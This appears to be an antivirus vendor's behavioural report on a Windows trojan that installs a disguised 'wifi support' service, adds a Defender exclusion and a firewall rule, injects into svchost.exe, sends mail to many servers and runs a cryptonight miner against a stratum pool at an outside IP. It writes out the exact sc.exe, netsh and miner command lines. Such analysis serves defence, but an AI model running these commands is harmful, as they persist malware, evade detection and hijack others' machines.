Technical Information
To ensure autorun and distribution
Creates the following services
- [<HKLM>\System\CurrentControlSet\Services\smuvgogf] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\smuvgogf] 'ImagePath' = '%WINDIR%\SysWOW64\smuvgogf\bwdazwst.exe /d"<Full path to file>"'
- [<HKLM>\SYSTEM\CurrentControlSet\services\smuvgogf] 'ImagePath' = '%WINDIR%\SysWOW64\smuvgogf\bwdazwst.exe'
Malicious functions
To complicate detection of its presence in the operating system,
adds antivirus exclusion with following registry keys:
- [<HKLM>\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths] '%WINDIR%\SysWOW64\smuvgogf' = '00000000'
Executes the following
- '%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul
Injects code into
the following system processes:
- %WINDIR%\syswow64\svchost.exe
Modifies file system
Creates the following files
- %TEMP%\bwdazwst.exe
- %WINDIR%\syswow64\config\systemprofile:.repos
Moves the following files
- from %TEMP%\bwdazwst.exe to %WINDIR%\syswow64\smuvgogf\bwdazwst.exe
Deletes itself.
Network activity
Connects to
- 'ma####.bezeqint.net':25
- 'mx######b2d01.pphosted.com':25
- 'mx###.##il.am0.yahoodns.net':25
- 'mt##.##0.yahoodns.net':25
- 'alt1.gmail-smtp-in.l.google.com':25
- 'mx#.#aver.com':25
- 'as###.daum.net':25
- 'alt3.gmail-smtp-in.l.google.com':25
- 'mx#.####o.locaweb.com.br':25
- 'mx.##rris.com':25
TCP
HTTP GET requests
- http://www.google.com/
UDP
- DNS ASK mi##########m.mail.protection.outlook.com
- DNS ASK al###-dsl.de
- DNS ASK sm##.##t.microfocus.com
- DNS ASK ne##q.com
- DNS ASK mx#######a01.gslb.pphosted.com
- DNS ASK de##a.com
- DNS ASK mx#.##tsolmail.net
- DNS ASK in###-safe.com
- DNS ASK av########cifpetrol-2.planisys.net
- DNS ASK pa###petrol.com
- DNS ASK ya##o.fr
- DNS ASK 2s##t.com
- DNS ASK mx.##oeuro.com
- DNS ASK sn###ail.com
- DNS ASK in.###babusiness.it
- DNS ASK st####terapico.it
- DNS ASK mx####.#egamailservers.eu
- DNS ASK mx.##mts.net
- DNS ASK ha##is.com
- DNS ASK au#.ibm.com
- DNS ASK mx#.####o.locaweb.com.br
- DNS ASK gl##o.com
- DNS ASK bo##o2.com
- DNS ASK google.com
- DNS ASK alt4.gmail-smtp-in.l.google.com
- DNS ASK ca######.com.1.arsmtp.com
- DNS ASK ca###oil.com
- DNS ASK alt1.aspmx.l.google.com
- DNS ASK se####tymentors.com
- DNS ASK a.##.#ail.vresp.com
- DNS ASK ma##.vresp.com
- DNS ASK sc#####aext02.gene.com
- DNS ASK ge##.com
- DNS ASK as###.daum.net
- DNS ASK pa##n.com
- DNS ASK in.###estore.net
- DNS ASK es##pe.ca
- DNS ASK st###osra.it
- DNS ASK mx#######101.gslb.pphosted.com
- DNS ASK jo###eere.com
- DNS ASK mx.####ioscacciante.it
- DNS ASK 19#.###.##1.95.sbl-xbl.spamhaus.org
- DNS ASK st####scacciante.it
- DNS ASK 19#.###.#11.95.zen.spamhaus.org
- DNS ASK mx###.##il.am0.yahoodns.net
- DNS ASK 19#.###.#11.95.bl.spamcop.net
- DNS ASK ya##o.de
- DNS ASK ma####.bezeqint.net
- DNS ASK 19#.###.#11.95.dnsbl.sorbs.net
- DNS ASK mx#.#otmail.com
- DNS ASK alt3.gmail-smtp-in.l.google.com
- DNS ASK mt##.##0.yahoodns.net
- DNS ASK be###int.net
- DNS ASK 19#.###.211.95.in-addr.arpa
- DNS ASK 19#.###.#11.95.cbl.abuseat.org
- DNS ASK it###plc.com
- DNS ASK st####sanmartino.it
- DNS ASK cu#######.in.mailcontrol.com
- DNS ASK mx.###.tiscali.com
- DNS ASK alt1.gmail-smtp-in.l.google.com
- DNS ASK st#####criptorium.it
- DNS ASK mx#.##ailsrvr.com
- DNS ASK un###inc.com
- DNS ASK rc.###online.com
- DNS ASK am###line.com
- DNS ASK ya##o.com
- DNS ASK mx######b2d01.pphosted.com
- DNS ASK us.#bm.com
- DNS ASK mx#.#aver.com
- DNS ASK na##r.com
- DNS ASK av###.###eway.nextsolutions.us
- DNS ASK gmail-smtp-in.l.google.com
- DNS ASK pa####cevents.com
- DNS ASK mx.####iosanmartino.it
- DNS ASK mx.##rris.com
Miscellaneous
Creates and executes the following
- '%WINDIR%\syswow64\smuvgogf\bwdazwst.exe' /d"<Full path to file>"
- '%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\smuvgogf\' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\bwdazwst.exe" %WINDIR%\SysWOW64\smuvgogf\' (with hidden window)
- '%WINDIR%\syswow64\sc.exe' create smuvgogf binPath= "%WINDIR%\SysWOW64\smuvgogf\bwdazwst.exe /d\"<Full path to file>\"" type= own start= auto DisplayName= "wifi support"' (with hidden window)
- '%WINDIR%\syswow64\sc.exe' description smuvgogf "wifi internet conection"' (with hidden window)
- '%WINDIR%\syswow64\sc.exe' start smuvgogf' (with hidden window)
- '%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul' (with hidden window)
Executes the following
- '%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\smuvgogf\
- '%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\bwdazwst.exe" %WINDIR%\SysWOW64\smuvgogf\
- '%WINDIR%\syswow64\sc.exe' create smuvgogf binPath= "%WINDIR%\SysWOW64\smuvgogf\bwdazwst.exe /d\"<Full path to file>\"" type= own start= auto DisplayName= "wifi support"
- '%WINDIR%\syswow64\sc.exe' description smuvgogf "wifi internet conection"
- '%WINDIR%\syswow64\sc.exe' start smuvgogf
- '%WINDIR%\syswow64\svchost.exe'
- '%WINDIR%\syswow64\svchost.exe' -a cryptonight-heavy -o stratum+tcp://185.16.41.185:8087 -u w1 -p x --nicehash --safe
